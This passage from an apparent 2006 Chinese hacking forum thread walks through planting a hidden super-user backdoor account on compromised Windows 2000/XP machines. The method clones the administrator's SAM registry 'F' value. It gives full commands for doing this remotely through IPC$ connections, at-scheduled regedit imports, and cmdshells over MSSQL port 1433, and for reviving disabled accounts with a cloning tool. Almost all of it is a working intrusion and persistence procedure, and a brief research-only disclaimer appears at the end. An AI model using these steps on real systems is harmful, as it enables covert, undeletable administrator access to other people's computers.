5、将项hacker$、00000409、000001F4导出为hacker.reg、409.reg、1f4.reg，用记事本分别打这几个导出的文件进行编辑，将超级用户对应的项000001F4下的键"F"的值复制，并覆盖hacker$对应的项00000409下的键"F"的值,然后再将00000409.reg与hacker.reg合并。
6、在命令行下执行net user hacker$ /del将用户hacker$删除：net user hacker$ /del
7、在regedit.exe的窗口内按F5刷新，然后打文件-导入注册表文件将修改好的hacker.reg导入注册表即可
8、到此，隐藏的超级用户hacker$已经建好了，然后关闭regedit.exe。在regedt32.exe窗口内把HKEY_LOCAL_MACHINE\SAM\SAM键权限改回原来的样子（只要删除添加的帐户administrator即可）。
9、注意：隐藏的超级用户建好后，在帐户管理器看不到hacker$这个用户，在命令行用“net user”命令也看不到，但是超级用户建立以后，就不能再改密码了，如果用net user命令来改hacker$的密码的话，那么在帐户管理器中将又会看这个隐藏的超级用户了，而且不能删除。
如何在命令行下远程建立隐藏的超级用户
在这里将用at的命令，因为用at产生的计划任务是以系统身份运行的，所以也用不到psu.exe程序。为了能够使用at命令，肉鸡必须开有schedule的服务，如果没有开启，可用流光里带的工具netsvc.exe或sc.exe来远程启动，当然其方法也可以，只要能启动schedule服务就行。
对于命令行方式，你可以采用各种连接方式，如用SQLexec连接MSSQL的1433端口，也可以用telnet服务，只要以你能得到一个cmdshell，并且有运行at命令的权限就可以。
1、首先找到一台肉鸡，至于如何来找那不是我这里所说的话题。这里先假设找到一台超级用户为administrator,密码为12345678的肉鸡，现在我们开始在命令行下远程为它建立隐藏的超级用户。（例子中的主机是我的局域网内的一台主机，我将它的ip地址改为13.50.97.238,，请勿在互联网上对号入座,以免骚扰正常的ip地址。）
作者： 125.90.34.* 2006-7-14 23:30 回复此发言
--------------------------------------------------------------------------------
4 SA空口令入侵到3389终结完整编
2、先与肉鸡建立连接,命令为: net use \\13.50.97.238\ipc$ "12345678" /user:"administrator
3、用at命令在肉鸡上建立一个用户(如果at服务没有启动，可用小榕的netsvc.exe或sc.exe来远程启动):at \\13.50.97.238 12:51
c:\winnt\system32\net.exe user hacker$ 1234 /add
建立这个加有$符的用户名，是因为加有$符后，命令行下用net user将不显示这个用户，但在帐户管理器却能看到这个用户。
4、同样用at命令导出HKEY_LOCAL_MACHINE\sam\sam\Domains\account\users下键值：at \\13.50.97.238 12:55
c:\winnt\regedit.exe /e hacker.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\account\users\
/e 是regedit.exe的参数，在_LOCAL_MACHINE\SAM\SAM\Domains\account\users\这个键的一定要以\结尾。必要的情况下可以用引号将"c:\winnt\regedit.exe /e hacker.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\account\users\"引起来。
5、将肉鸡上的hacker.reg下载到本机上用记事本打开进行编辑命令为：copy \\13.50.97.238\admin$\system32\hacker.reg
c:\hacker.reg
修改的方法图形界中已经介绍过了，这里就不作介绍了。
6、再将编辑好的hacker.reg拷回肉鸡上 copy c:\hacker.reg \\13.50.97.238\admin$\system32\hacker1.reg
7、查看肉鸡时间：net time \\13.50.97.238 然后用at命令将用户hacker$删除:
at \\13.50.97.238 13:40 net user hacker$ /del
8、验证hacker$是否删除:用
net use \\13.50.97.238 /del 断开与肉鸡的连接。
net use \\13.50.97.238\ipc$ "1234" /user:"hacker$" 用帐户hacker$与肉鸡连接，不能连接说明已删除。
9、再与肉鸡建立连接：net use \\13.50.97.238\ipc$ "12345678" /user:"administrator"
再取得肉鸡时间，用at命令将拷回肉鸡的hacker1.reg导入肉鸡注册表:
at \\13.50.97.238 13:41 c:\winnt\regedit.exe /s hacker1.reg
regedit.exe的参数/s是指安静模式。
10、再验证hacker$是否已建立，方法同上面验证hacker$是否被删除一样。
11、再验证用户hacker$是否有读、写、删的权限，如果不放心，你还可验证是否能建立其它帐户。
12、通过11可以断定用户hacker$具有超级用户权限，因为最初我用at命令建立它的时候是一个普通用户，而现在却具有远程读、写、删的权限。
三、如果肉鸡没有开3389终端服务，而我又不想用命令行，怎么办？
这种情况下，你也可以用界面方式来远程为肉鸡建立隐藏的超级用户。因为regedit.exe、regedt32.exe都有连接网络注册表的功能，你可以用regedt32.exe来为远程主机的注册表项设置权限，用regedit.exe来编辑远程注册表。帐户管理器也有一项连另一台计算机的功能，你可以用帐户管理器为远程主机建立和删除帐户。具体步聚与上面介绍的相似，我就不多说了，只它的速度实在是令人难以忍受。
但是这里有两个前提：1、先用net use \\肉鸡ip\ipc$ "密码" /user:"超级用户名"来与远程主机建立连接以后，才能用regedit.exe regedt32.exe及帐户管理器与远程主机连接。
2、远程主机必须开启远程注册表服务（没有开启的话，你也可以远程开启，因为你有超级用户的密码了）。
四、利用被禁用的帐户建立隐藏的超级用户：
我们可以用肉鸡上被禁止的用户来建立隐藏的超组用户.方法如下:
1．想办法查看有哪些用户被细心的管理员禁止，一般情况下，有些管理员出于安全考虑，通常会将guest禁用，当然了会禁用其它用户。在图形界面下，非常容易，只要在帐户管理器中就可以看到被禁用的帐户上有一个红叉；而在命令行下，我还没有想到好的办法，只能在命令行下用命令："net user 用户名"一个一个来查看用户是否被禁用。
2．在这里，我们假设用户hacker被管理员禁用。首先，我先用小榕的超组用户克隆程序CA.exe，将被禁用的用户hacker 克隆成超级用户（克隆之后，被禁用的用户hacker就会自动被激活了）: CA.EXE \\肉鸡ip Administrator 超级用户密码 hacher hacher密码。
作者： 125.90.34.* 2006-7-14 23:30 回复此发言
--------------------------------------------------------------------------------
5 SA空口令入侵到3389终结完整编
3．如果你现在一个cmdshell，如利用telnet服务或SQLEXEC连接肉鸡的msSQL的默认端口1433得到的shell都可以，这时你只要输入命令：
net user hacker /active:no 这样用户hacker就被禁用了（至少表面上是这样的），当然你也可以将用户hacher换成其它的被禁用的用户。
4．这时如果你在图形界面下看帐户管理器中的用户时,会发现用户hacker被禁用了，但事实上是这样的吗？你用这个被禁用的用户连接一下肉鸡看看是否能连上？用命令：net user \\肉鸡ip\ipc$ "hacker密码" /user:"hacker" 连一连看看。我可以告诉大家，经过我多次试验，次次都能成功，而且还是超级用户权限。
5．如果没有cmdshell怎么办？你可以我上面介绍的at命令来禁用用户hacker;命令格式：at \\肉鸡ip 时间 net user hacker /active:no
6．原理：具体的高深的原理我也说不上来，我只能从最简单的说。你先在图形界面下在帐户管理器中禁用一下超级用户administrator看看，肯定会弹出一对话框，并禁止你继续禁用超级用户administrator，同样，因为在克隆时，hacker在注册表的"F"键被超级用户administrator在注册表的"F"键所替代，因而hacker就具有了超级用户的权限了，但是由于hacker在注册表内"C"健还是原来的"C"键，所以hacker还是会被禁用，但是它的超级用户权限却不会被禁用，因此被禁用的用户hacker还是可以连接肉鸡，而且还具有超级用户的权限。具体我也说不明白，大家权且这么理解吧。
五、注意的几点事项：
1、隐藏的超级用户建立以后，在帐户管理器中和命令行下均看不到这个用户，但这个用户却存在。
2、隐藏的超级用户建立以后，就不能再修改密码了，因为一旦修改密码，这个隐藏的超级用户就会暴露在帐户管理器中，而且不能删除。
3、如在本机上试验时，最好用系统自带的备份工具先备份好本机的“系统状态”主要是注册表的备份，因为本人做试验时，曾出现过帐户管理器中看不到任何用户，组中也看不到任何组的现象，但它们却存在。幸好我有备份,呵呵。SAM键是毕竟系统最敏感的部位。
4、本方法在2000/XP上测试通过，未在NT上测试。本方法仅供研究，请勿将本方法用于破坏上，利用本方法造成严重后果者，由使用者负责，本人概不负责